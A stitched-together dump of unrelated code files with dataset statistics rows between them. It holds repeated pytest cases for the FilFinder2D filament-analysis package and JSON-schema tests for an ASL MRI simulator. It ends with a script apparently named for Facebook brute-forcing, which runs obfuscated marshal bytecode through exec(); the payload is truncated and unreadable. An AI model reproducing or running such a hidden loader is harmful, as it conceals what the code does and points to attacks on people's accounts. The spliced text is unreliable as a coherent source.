test.find_widths(auto_cut=False, max_dist=30 * u.pix)
# Test other output of the new code.
npt.assert_allclose(1.1, fil1.median_brightness(mod.data))
npt.assert_allclose(mod.data[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity().value, rtol=0.01)
npt.assert_allclose((mod.data - 0.1)[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity(bkg_subtract=True).value,
rtol=0.01)
fil_model = test.filament_model(bkg_subtract=False)
# Some astropy 3.0.1 does not support compound model units. Check
# the output type here.
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
# Max difference should be where the background isn't covered
assert ((mod.data - fil_model) <= 0.1 + 1e-7).all()
# Now compare bkg subtracted versions
fil_model = test.filament_model(bkg_subtract=True)
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
assert ((mod.data - fil_model) <= 0.1 + 1e-3).all()
# Covering fraction
cov_frac = test.covering_fraction()
act_frac = (mod.data - 0.1).sum() / np.sum(mod.data)
npt.assert_allclose(cov_frac, act_frac, atol=1e-4)
# Ridge profile along skeleton. Should all equal 1.1
ridge = fil1.ridge_profile(test.image)
assert ridge.unit == u.K
assert (ridge.value == 1.1).all()
# Make sure the version from FilFinder2D is the same
ridge_2 = test.ridge_profiles()
assert (ridge_2[0] == ridge).all()
# Test radial profiles
dists, profs = fil1.profile_analysis(test.image)
# Width is 10 pixels
exp_profile = np.exp(- dists[0].value**2 / (2 * 10.**2)) + 0.1
for prof in profs:
npt.assert_allclose(prof.value, exp_profile)
# Test saving methods from Filament2D
from astropy.table import Table
tab_rad = fil1.radprof_table()
npt.assert_allclose(fil1.radprofile[0], tab_rad['distance'])
npt.assert_allclose(fil1.radprofile[1], tab_rad['values'])
del tab_rad
tab_branch = fil1.branch_table()
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
del tab_branch
# With RHT info
tab_branch = fil1.branch_table(include_rht=True)
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
npt.assert_allclose(fil1.orientation_branches,
tab_branch['orientation'])
npt.assert_allclose(fil1.curvature_branches,
tab_branch['curvature'])
del tab_branch
# Test table output from FilFinder2D
branch_tables = test.branch_tables()
assert (branch_tables[0] == fil1.branch_table()).all()
branch_tables = test.branch_tables(include_rht=True)
assert (branch_tables[0] == fil1.branch_table(include_rht=True)).all()
out_tab = test.output_table()
# Compare saving filament stamps.
from astropy.io import fits
fil1.save_fits("test_image_output.fits", test.image)
hdu = fits.open("test_image_output.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test_image_output.fits")
hdu.close()
del hdu
test.save_stamp_fits()
hdu = fits.open("test1_stamp_0.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_stamp_0.fits")
hdu.close()
del hdu
# Compare saving whole skeleton/mask/model
test.save_fits()
hdu = fits.open("test1_image_output.fits")
mod = test.filament_model()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(test.mask, hdu[0].data)
npt.assert_allclose(test.skeleton, hdu[1].data > 0)
npt.assert_allclose(test.skeleton_longpath, hdu[2].data > 0)
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_image_output.fits")
hdu.close()
del hdu
def test_simple_filament_noheader():
'''
Check the outputs using a simple straight filament with a Gaussian profile.
No FITS header is given; outputs must have pixel units in all cases.
'''
mod = generate_filament_model(return_hdu=True, pad_size=30, shape=150,
width=10., background=0.1)[0]
mask = mod.data > 0.5
test = FilFinder2D(mod.data, mask=mask, save_name='test1')
test.preprocess_image(flatten_percent=85)
test.create_mask(use_existing_mask=True)
test.medskel(verbose=False)
# Fails without specifying thresholds for skeleton and branch lengths
with pytest.raises(ValueError) as exc:
test.analyze_skeletons()
assert exc.value.args[0] == "Distance not given. Must specify skel_thresh in pixel units."
test.analyze_skeletons(skel_thresh=5 * u.pix)
test.find_widths(auto_cut=False, max_dist=30 * u.pix)
test.exec_rht(branches=False)
test.exec_rht(branches=True)
# Should be oriented along the x-axis. Set to be pi/2.
npt.assert_allclose(np.pi / 2., test.orientation[0].value)
npt.assert_allclose(np.pi / 2., test.orientation_branches[0][0].value)
fil1 = test.filaments[0]
# Compare lengths
# Straight skeleton, so length is sum minus 1. Then add the FWHM width on
# Beam is set to 3 pixels FWHM, so deconvolve before adding
exp_length = (test.skeleton.sum() - 1) + np.sqrt(10**2 - 3**2) * 2.35
new_length = test.lengths()[0].value
# Require the length be within half the beam.
npt.assert_allclose(exp_length, new_length, atol=1.5)
# Now compare the widths
# Expected profile properties
exp_pars = [1.1, 10.0, 0.1, np.sqrt(10**2 - 3**2) * 2.35]
new_pars = [par.value for par in fil1.radprof_params] + \
[fil1.radprof_fwhm()[0].value]
# The new modeling correctly separates the Gaussian and bkg.
# Add the bkg to the amplitude
new_pars[0] += new_pars[2]
npt.assert_allclose(exp_pars, new_pars, rtol=0.05)
# Test the non-param fitting in the new code
test.find_widths(auto_cut=False, max_dist=30 * u.pix,
fit_model='nonparam')
new_pars = [par.value for par in fil1.radprof_params]
# There's a larger discrepancy compared with the Gaussian model
npt.assert_allclose(exp_pars[:-1], new_pars, rtol=0.2)
# Use the Gaussian fit for the model comparisons below.
test.find_widths(auto_cut=False, max_dist=30 * u.pix)
# Test other output of the new code.
npt.assert_allclose(1.1, fil1.median_brightness(mod.data))
npt.assert_allclose(mod.data[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity().value, rtol=0.01)
npt.assert_allclose((mod.data - 0.1)[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity(bkg_subtract=True).value,
rtol=0.01)
fil_model = test.filament_model(bkg_subtract=False)
# Some astropy 3.0.1 does not support compound model units. Check
# the output type here.
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
# Max difference should be where the background isn't covered
assert ((mod.data - fil_model) <= 0.1 + 1e-7).all()
# Now compare bkg subtracted versions
fil_model = test.filament_model(bkg_subtract=True)
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
assert ((mod.data - fil_model) <= 0.1 + 1e-3).all()
# Covering fraction
cov_frac = test.covering_fraction()
act_frac = (mod.data - 0.1).sum() / np.sum(mod.data)
npt.assert_allclose(cov_frac, act_frac, atol=1e-4)
# Ridge profile along skeleton. Should all equal 1.1
ridge = fil1.ridge_profile(test.image)
assert ridge.unit == u.dimensionless_unscaled
assert (ridge.value == 1.1).all()
# Make sure the version from FilFinder2D is the same
ridge_2 = test.ridge_profiles()
assert (ridge_2[0] == ridge).all()
# Test radial profiles
dists, profs = fil1.profile_analysis(test.image)
# Width is 10 pixels
exp_profile = np.exp(- dists[0].value**2 / (2 * 10.**2)) + 0.1
for prof in profs:
npt.assert_allclose(prof.value, exp_profile)
# Test saving methods from Filament2D
tab_rad = fil1.radprof_table()
npt.assert_allclose(fil1.radprofile[0], tab_rad['distance'])
npt.assert_allclose(fil1.radprofile[1], tab_rad['values'])
del tab_rad
tab_branch = fil1.branch_table()
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
del tab_branch
# With RHT info
tab_branch = fil1.branch_table(include_rht=True)
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
npt.assert_allclose(fil1.orientation_branches,
tab_branch['orientation'])
npt.assert_allclose(fil1.curvature_branches,
tab_branch['curvature'])
del tab_branch
# Test table output from FilFinder2D
branch_tables = test.branch_tables()
assert (branch_tables[0] == fil1.branch_table()).all()
branch_tables = test.branch_tables(include_rht=True)
assert (branch_tables[0] == fil1.branch_table(include_rht=True)).all()
out_tab = test.output_table()
# Compare saving filament stamps.
from astropy.io import fits
fil1.save_fits("test_image_output.fits", test.image)
hdu = fits.open("test_image_output.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test_image_output.fits")
hdu.close()
del hdu
test.save_stamp_fits()
hdu = fits.open("test1_stamp_0.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_stamp_0.fits")
hdu.close()
del hdu
# Compare saving whole skeleton/mask/model
test.save_fits()
hdu = fits.open("test1_image_output.fits")
mod = test.filament_model()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(test.mask, hdu[0].data)
npt.assert_allclose(test.skeleton, hdu[1].data > 0)
npt.assert_allclose(test.skeleton_longpath, hdu[2].data > 0)
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_image_output.fits")
hdu.close()
del hdu
def test_simple_filament_noheader_angscale():
'''
Check the outputs using a simple straight filament with a Gaussian profile.
No FITS header is given; outputs must have pixel units in all cases.
'''
mod = generate_filament_model(return_hdu=True, pad_size=30, shape=150,
width=10., background=0.1)[0]
mask = mod.data > 0.5
ang_scale = np.abs(mod.header['CDELT1']) * u.deg
test = FilFinder2D(mod.data, ang_scale=ang_scale, mask=mask,
save_name='test1')
test.preprocess_image(flatten_percent=85)
test.create_mask(use_existing_mask=True)
test.medskel(verbose=False)
# Fails without specifying thresholds for skeleton and branch lengths
with pytest.raises(ValueError) as exc:
test.analyze_skeletons()
assert exc.value.args[0] == "Distance not given. Must specify skel_thresh in pixel units."
test.analyze_skeletons(skel_thresh=5 * u.pix)
test.find_widths(auto_cut=False, max_dist=30 * u.pix)
test.exec_rht(branches=False)
test.exec_rht(branches=True)
# Should be oriented along the x-axis. Set to be pi/2.
npt.assert_allclose(np.pi / 2., test.orientation[0].value)
npt.assert_allclose(np.pi / 2., test.orientation_branches[0][0].value)
fil1 = test.filaments[0]
# Compare lengths
# Straight skeleton, so length is sum minus 1. Then add the FWHM width on
# Beam is set to 3 pixels FWHM, so deconvolve before adding
exp_length = (test.skeleton.sum() - 1) + np.sqrt(10**2 - 3**2) * 2.35
new_length = test.lengths()[0].value
# Require the length be within half the beam.
npt.assert_allclose(exp_length, new_length, atol=1.5)
# Now compare the widths
# Expected profile properties
exp_pars = [1.1, 10.0, 0.1, np.sqrt(10**2 - 3**2) * 2.35]
new_pars = [par.value for par in fil1.radprof_params] + \
[fil1.radprof_fwhm()[0].value]
# The new modeling correctly separates the Gaussian and bkg.
# Add the bkg to the amplitude
new_pars[0] += new_pars[2]
npt.assert_allclose(exp_pars, new_pars, rtol=0.05)
# Test the non-param fitting in the new code
test.find_widths(auto_cut=False, max_dist=30 * u.pix,
fit_model='nonparam')
new_pars = [par.value for par in fil1.radprof_params]
# There's a larger discrepancy compared with the Gaussian model
npt.assert_allclose(exp_pars[:-1], new_pars, rtol=0.2)
# Use the Gaussian fit for the model comparisons below.
test.find_widths(auto_cut=False, max_dist=30 * u.pix)
# Test other output of the new code.
npt.assert_allclose(1.1, fil1.median_brightness(mod.data))
npt.assert_allclose(mod.data[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity().value, rtol=0.01)
npt.assert_allclose((mod.data - 0.1)[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity(bkg_subtract=True).value,
rtol=0.01)
fil_model = test.filament_model(bkg_subtract=False)
# Some astropy 3.0.1 does not support compound model units. Check
# the output type here.
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
# Max difference should be where the background isn't covered
assert ((mod.data - fil_model) <= 0.1 + 1e-7).all()
# Now compare bkg subtracted versions
fil_model = test.filament_model(bkg_subtract=True)
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
assert ((mod.data - fil_model) <= 0.1 + 1e-3).all()
# Covering fraction
cov_frac = test.covering_fraction()
act_frac = (mod.data - 0.1).sum() / np.sum(mod.data)
npt.assert_allclose(cov_frac, act_frac, atol=1e-4)
# Ridge profile along skeleton. Should all equal 1.1
ridge = fil1.ridge_profile(test.image)
assert ridge.unit == u.dimensionless_unscaled
assert (ridge.value == 1.1).all()
# Make sure the version from FilFinder2D is the same
ridge_2 = test.ridge_profiles()
assert (ridge_2[0] == ridge).all()
# Test radial profiles
dists, profs = fil1.profile_analysis(test.image)
# Width is 10 pixels
exp_profile = np.exp(- dists[0].value**2 / (2 * 10.**2)) + 0.1
for prof in profs:
npt.assert_allclose(prof.value, exp_profile)
# Test saving methods from Filament2D
tab_rad = fil1.radprof_table()
npt.assert_allclose(fil1.radprofile[0], tab_rad['distance'])
npt.assert_allclose(fil1.radprofile[1], tab_rad['values'])
del tab_rad
tab_branch = fil1.branch_table()
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
del tab_branch
# With RHT info
tab_branch = fil1.branch_table(include_rht=True)
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
npt.assert_allclose(fil1.orientation_branches,
tab_branch['orientation'])
npt.assert_allclose(fil1.curvature_branches,
tab_branch['curvature'])
del tab_branch
# Test table output from FilFinder2D
branch_tables = test.branch_tables()
assert (branch_tables[0] == fil1.branch_table()).all()
branch_tables = test.branch_tables(include_rht=True)
assert (branch_tables[0] == fil1.branch_table(include_rht=True)).all()
out_tab = test.output_table()
# Compare saving filament stamps.
from astropy.io import fits
fil1.save_fits("test_image_output.fits", test.image)
hdu = fits.open("test_image_output.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test_image_output.fits")
hdu.close()
del hdu
test.save_stamp_fits()
hdu = fits.open("test1_stamp_0.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_stamp_0.fits")
hdu.close()
del hdu
# Compare saving whole skeleton/mask/model
test.save_fits()
hdu = fits.open("test1_image_output.fits")
mod = test.filament_model()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(test.mask, hdu[0].data)
npt.assert_allclose(test.skeleton, hdu[1].data > 0)
npt.assert_allclose(test.skeleton_longpath, hdu[2].data > 0)
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_image_output.fits")
hdu.close()
del hdu
def test_simple_filament_nodistance():
'''
Check the outputs using a simple straight filament with a Gaussian profile.
No distance given.
'''
mod = generate_filament_model(return_hdu=True, pad_size=30, shape=150,
width=10., background=0.1)[0]
mask = mod.data > 0.5
test = FilFinder2D(mod, mask=mask,
save_name='test1')
test.preprocess_image(flatten_percent=85)
test.create_mask(use_existing_mask=True)
test.medskel(verbose=False)
with pytest.raises(ValueError) as exc:
test.analyze_skeletons()
assert exc.value.args[0] == "Distance not given. Must specify skel_thresh in pixel units."
test.analyze_skeletons(skel_thresh=5 * u.pix)
test.find_widths(auto_cut=False, max_dist=30 * u.pix)
test.exec_rht(branches=False)
test.exec_rht(branches=True)
# Should be oriented along the x-axis. Set to be pi/2.
npt.assert_allclose(np.pi / 2., test.orientation[0].value)
npt.assert_allclose(np.pi / 2., test.orientation_branches[0][0].value)
fil1 = test.filaments[0]
# Compare lengths
# Straight skeleton, so length is sum minus 1. Then add the FWHM width on
# Beam is set to 3 pixels FWHM, so deconvolve before adding
exp_length = (test.skeleton.sum() - 1) + np.sqrt(10**2 - 3**2) * 2.35
new_length = test.lengths()[0].value
# Require the length be within half the beam.
npt.assert_allclose(exp_length, new_length, atol=1.5)
# Now compare the widths
# Expected profile properties
exp_pars = [1.1, 10.0, 0.1, np.sqrt(10**2 - 3**2) * 2.35]
new_pars = [par.value for par in fil1.radprof_params] + \
[fil1.radprof_fwhm()[0].value]
# The new modeling correctly separates the Gaussian and bkg.
# Add the bkg to the amplitude
new_pars[0] += new_pars[2]
npt.assert_allclose(exp_pars, new_pars, rtol=0.05)
# Test the non-param fitting in the new code
test.find_widths(auto_cut=False, max_dist=30 * u.pix,
fit_model='nonparam')
new_pars = [par.value for par in fil1.radprof_params]
# There's a larger discrepancy compared with the Gaussian model
npt.assert_allclose(exp_pars[:-1], new_pars, rtol=0.2)
# Use the Gaussian fit for the model comparisons below.
test.find_widths(auto_cut=False, max_dist=30 * u.pix)
# Test other output of the new code.
npt.assert_allclose(1.1, fil1.median_brightness(mod.data))
npt.assert_allclose(mod.data[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity().value, rtol=0.01)
npt.assert_allclose((mod.data - 0.1)[(mod.data - 0.1) > 0.5].sum(),
fil1.total_intensity(bkg_subtract=True).value,
rtol=0.01)
fil_model = test.filament_model(bkg_subtract=False)
# Some astropy 3.0.1 does not support compound model units. Check
# the output type here.
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
# Max difference should be where the background isn't covered
assert ((mod.data - fil_model) <= 0.1 + 1e-7).all()
# Now compare bkg subtracted versions
fil_model = test.filament_model(bkg_subtract=True)
if hasattr(fil_model, 'unit'):
fil_model = fil_model.value
assert ((mod.data - fil_model) <= 0.1 + 1e-3).all()
# Covering fraction
cov_frac = test.covering_fraction()
act_frac = (mod.data - 0.1).sum() / np.sum(mod.data)
npt.assert_allclose(cov_frac, act_frac, atol=1e-4)
# Ridge profile along skeleton. Should all equal 1.1
ridge = fil1.ridge_profile(test.image)
assert ridge.unit == u.K
assert (ridge.value == 1.1).all()
# Make sure the version from FilFinder2D is the same
ridge_2 = test.ridge_profiles()
assert (ridge_2[0] == ridge).all()
# Test radial profiles
dists, profs = fil1.profile_analysis(test.image)
# Width is 10 pixels
exp_profile = np.exp(- dists[0].value**2 / (2 * 10.**2)) + 0.1
for prof in profs:
npt.assert_allclose(prof.value, exp_profile)
# Test saving methods from Filament2D
tab_rad = fil1.radprof_table()
npt.assert_allclose(fil1.radprofile[0], tab_rad['distance'])
npt.assert_allclose(fil1.radprofile[1], tab_rad['values'])
del tab_rad
tab_branch = fil1.branch_table()
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
del tab_branch
# With RHT info
tab_branch = fil1.branch_table(include_rht=True)
npt.assert_allclose(fil1.branch_properties['length'],
tab_branch['length'])
npt.assert_allclose(fil1.branch_properties['intensity'],
tab_branch['intensity'])
npt.assert_allclose(fil1.orientation_branches,
tab_branch['orientation'])
npt.assert_allclose(fil1.curvature_branches,
tab_branch['curvature'])
del tab_branch
# Test table output from FilFinder2D
branch_tables = test.branch_tables()
assert (branch_tables[0] == fil1.branch_table()).all()
branch_tables = test.branch_tables(include_rht=True)
assert (branch_tables[0] == fil1.branch_table(include_rht=True)).all()
out_tab = test.output_table()
# Compare saving filament stamps.
from astropy.io import fits
fil1.save_fits("test_image_output.fits", test.image)
hdu = fits.open("test_image_output.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test_image_output.fits")
hdu.close()
del hdu
test.save_stamp_fits()
hdu = fits.open("test1_stamp_0.fits")
skel = fil1.skeleton(pad_size=20)
npt.assert_allclose(skel, hdu[1].data.astype(bool))
skel = fil1.skeleton(pad_size=20, out_type='longpath')
npt.assert_allclose(skel, hdu[2].data.astype(bool))
mod = fil1.model_image()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_stamp_0.fits")
hdu.close()
del hdu
# Compare saving whole skeleton/mask/model
test.save_fits()
hdu = fits.open("test1_image_output.fits")
mod = test.filament_model()
if hasattr(mod, 'unit'):
mod = mod.value
npt.assert_allclose(test.mask, hdu[0].data)
npt.assert_allclose(test.skeleton, hdu[1].data > 0)
npt.assert_allclose(test.skeleton_longpath, hdu[2].data > 0)
npt.assert_allclose(mod, hdu[3].data)
os.remove("test1_image_output.fits")
hdu.close()
del hdu
| 33.412371
| 94
| 0.659364
| 4,230
| 29,169
| 4.376359
| 0.06383
| 0.055424
| 0.104689
| 0.036301
| 0.958621
| 0.955866
| 0.955866
| 0.955866
| 0.953598
| 0.95014
| 0
| 0.033502
| 0.221262
| 29,169
| 873
| 95
| 33.412371
| 0.781466
| 0.170969
| 0
| 0.92955
| 0
| 0
| 0.057044
| 0.018667
| 0
| 0
| 0
| 0
| 0.283757
| 1
| 0.007828
| false
| 0
| 0.023483
| 0
| 0.031311
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
297e41845bfc7cf0e1077925d18a120fa6085e11
| 5,262
|
py
|
Python
|
src/asldro/validators/test_ground_truth_json.py
|
gold-standard-phantoms/asldro
|
6ae82ed69d66fed64e1e54e5394cc3b5d8dbe1bd
|
[
"MIT"
] | 3
|
2021-03-09T15:51:32.000Z
|
2021-05-19T13:05:18.000Z
|
src/asldro/validators/test_ground_truth_json.py
|
gold-standard-phantoms/asldro
|
6ae82ed69d66fed64e1e54e5394cc3b5d8dbe1bd
|
[
"MIT"
] | null | null | null |
src/asldro/validators/test_ground_truth_json.py
|
gold-standard-phantoms/asldro
|
6ae82ed69d66fed64e1e54e5394cc3b5d8dbe1bd
|
[
"MIT"
] | null | null | null |
""" Tests for the ground truth JSON validator """
from jsonschema.exceptions import ValidationError
import pytest
from asldro.validators.ground_truth_json import validate_input
def test_valid_ground_truth_json():
""" Test valid grouth truth raises no error """
json = {
"quantities": [
"perfusion_rate",
"transit_time",
"m0",
"t1",
"t2",
"t2_star",
"seg_label",
],
"units": ["ml/100g/min", "s", "s", "s", "s", "", ""],
"segmentation": {"grey_matter": 1, "white_matter": 2, "csf": 3, "vascular": 4},
"parameters": {
"lambda_blood_brain": 0.9,
"t1_arterial_blood": 1.65,
"magnetic_field_strength": 3.0,
},
}
validate_input(input_dict=json)
def test_ground_truth_typos_a():
""" Test ground with typos in required fields raises error """
json = {
"quantties": [
"perfusion_rate",
"transit_time",
"m0",
"t1",
"t2",
"t2_star",
"seg_label",
],
"units": ["ml/100g/min", "s", "s", "s", "s", "", ""],
"segmentation": {"grey_matter": 1, "white_matter": 2, "csf": 3, "vascular": 4},
"parameters": {
"lambda_blood_brain": 0.9,
"t1_arterial_blood": 1.65,
"magnetic_field_strength": 3.0,
},
}
with pytest.raises(ValidationError):
validate_input(input_dict=json)
def test_ground_truth_typos_b():
""" Test ground with typos in required fields raises error """
json = {
"quantities": [
"perfusion_rate",
"transit_time",
"m0",
"t1",
"t2",
"t2_star",
"seg_label",
],
"units": ["ml/100g/min", "s", "s", "s", "s", "", ""],
"seg": {"grey_matter": 1, "white_matter": 2, "csf": 3, "vascular": 4},
"parameters": {
"lambda_blood_brain": 0.9,
"t1_arterial_blood": 1.65,
"magnetic_field_strength": 3.0,
},
}
with pytest.raises(ValidationError):
validate_input(input_dict=json)
def test_ground_truth_typos_c():
""" Test ground with typos in required fields raises error """
json = {
"quantities": [
"perfusion_rate",
"transit_time",
"m0",
"t1",
"t2",
"t2_star",
"seg_label",
],
"units": ["ml/100g/min", "s", "s", "s", "s", "", ""],
"segmentation": {"grey_matter": 1, "white_matter": 2, "csf": 3, "vascular": 4},
"params": {
"lambda_blood_brain": 0.9,
"t1_arterial_blood": 1.65,
"magnetic_field_strength": 3.0,
},
}
with pytest.raises(ValidationError):
validate_input(input_dict=json)
def test_ground_truth_json_missing_quantities():
""" Test missing 'quantities' property raises error """
json = {
"units": ["ml/100g/min", "s", "s", "s", "s", "", ""],
"segmentation": {"grey_matter": 1, "white_matter": 2, "csf": 3, "vascular": 4},
"parameters": {
"lambda_blood_brain": 0.9,
"t1_arterial_blood": 1.65,
"magnetic_field_strength": 3.0,
},
}
with pytest.raises(ValidationError):
validate_input(input_dict=json)
def test_ground_truth_json_missing_segmentation():
""" Test missing 'segmentation' property raises error """
json = {
"quantities": [
"perfusion_rate",
"transit_time",
"m0",
"t1",
"t2",
"t2_star",
"seg_label",
],
"units": ["ml/100g/min", "s", "s", "s", "s", "", ""],
"parameters": {
"lambda_blood_brain": 0.9,
"t1_arterial_blood": 1.65,
"magnetic_field_strength": 3.0,
},
}
with pytest.raises(ValidationError):
validate_input(input_dict=json)
def test_ground_truth_missing_parameters():
""" Test missing 'parameters' property raises error """
json = {
"quantities": [
"perfusion_rate",
"transit_time",
"m0",
"t1",
"t2",
"t2_star",
"seg_label",
],
"units": ["ml/100g/min", "s", "s", "s", "s", "", ""],
"segmentation": {"grey_matter": 1, "white_matter": 2, "csf": 3, "vascular": 4},
}
with pytest.raises(ValidationError):
validate_input(input_dict=json)
def test_ground_truth_missing_units():
""" Test missing 'parameters' property raises error """
json = {
"quantities": [
"perfusion_rate",
"transit_time",
"m0",
"t1",
"t2",
"t2_star",
"seg_label",
],
"segmentation": {"grey_matter": 1, "white_matter": 2, "csf": 3, "vascular": 4},
"parameters": {
"lambda_blood_brain": 0.9,
"t1_arterial_blood": 1.65,
"magnetic_field_strength": 3.0,
},
}
with pytest.raises(ValidationError):
validate_input(input_dict=json)
| 29.071823
| 87
| 0.49905
| 536
| 5,262
| 4.643657
| 0.13806
| 0.016874
| 0.016874
| 0.070711
| 0.869024
| 0.869024
| 0.869024
| 0.869024
| 0.869024
| 0.869024
| 0
| 0.038329
| 0.340555
| 5,262
| 180
| 88
| 29.233333
| 0.678963
| 0.085139
| 0
| 0.811688
| 0
| 0
| 0.279529
| 0.033838
| 0
| 0
| 0
| 0
| 0
| 1
| 0.051948
| false
| 0
| 0.019481
| 0
| 0.071429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2984457c43fd400cf30054fdef6fb94b299cdac2
| 9,682
|
py
|
Python
|
brutesantetfacebook.py
|
SilencerA/S-Ariyan
|
293a0a489cc9349186da73dc6925ad7b3c55329c
|
[
"MIT"
] | null | null | null |
brutesantetfacebook.py
|
SilencerA/S-Ariyan
|
293a0a489cc9349186da73dc6925ad7b3c55329c
|
[
"MIT"
] | null | null | null |
brutesantetfacebook.py
|
SilencerA/S-Ariyan
|
293a0a489cc9349186da73dc6925ad7b3c55329c
|
[
"MIT"
] | null | null | null |
import marshal
exec(marshal.loads('''c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00s\x03\x01\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00d\x00\x00d\x01\x00l\x04\x00Z\x04\x00d\x00\x00d\x01\x00l\x05\x00Z\x05\x00d\x02\x00Z\x06\x00d\x03\x00Z\x07\x00d\x04\x00Z\x08\x00d\x05\x00Z\t\x00d\x06\x00Z\n\x00d\x07\x00Z\x0b\x00d\x08\x00Z\x0c\x00d\t\x00Z\r\x00d\n\x00Z\x0e\x00d\x0b\x00\x84\x00\x00Z\x0f\x00d\x0c\x00\x84\x00\x00Z\x10\x00e\x10\x00\x83\x00\x00\x01e\x11\x00e\t\x00d\r\x00\x17\x83\x01\x00Z\x12\x00e\x13\x00d\x0e\x00d\x0f\x00\x83\x02\x00Z\x14\x00d\x10\x00Z\x15\x00d\x11\x00g\x01\x00Z\x16\x00d\x12\x00\x84\x00\x00Z\x17\x00d\x13\x00\x84\x00\x00Z\x18\x00d\x14\x00\x84\x00\x00Z\x19\x00d\x15\x00\x84\x00\x00Z\x1a\x00e\x1b\x00d\x16\x00k\x02\x00r\xff\x00e\x17\x00\x83\x00\x00\x01n\x00\x00d\x01\x00S(\x17\x00\x00\x00i\xff\xff\xff\xffNs\x05\x00\x00\x00\x1b[90ms\x07\x00\x00\x00\x1b[33;1ms\x05\x00\x00\x00\x1b[91ms\x05\